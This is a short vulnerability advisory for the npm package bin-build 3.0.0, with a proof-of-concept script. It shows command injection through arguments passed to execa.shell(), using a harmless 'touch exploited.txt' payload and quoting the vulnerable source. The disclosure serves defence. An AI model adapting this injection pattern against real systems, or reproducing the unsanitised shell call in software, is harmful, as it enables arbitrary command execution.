Package bin-build: The src/index.js file in package bin-build allows for command injection via the arguments passed to execa.shell() (see line #8 of src/index.js).

bin-build-3.0.0_poc.js

'use strict'

const pkg = require('bin-build');

// A local 'exploited.txt' file will be created.
pkg.directory("./", ["touch exploited.txt"]);


/*
 * Relevant code from src/index.js
 *
 *
 * const exec = (cmd, cwd) => pMapSeries(cmd, x => execa.shell(x, {cwd}));
 *
 * exports.directory = (dir, cmd) => {
 *	 if (typeof dir !== 'string') {
 *	 	return Promise.reject(new TypeError(`Expected a \`string\`, got \`${typeof dir}\``));
 *	 }
 *
 *	 return exec(cmd, dir);
 * };
 */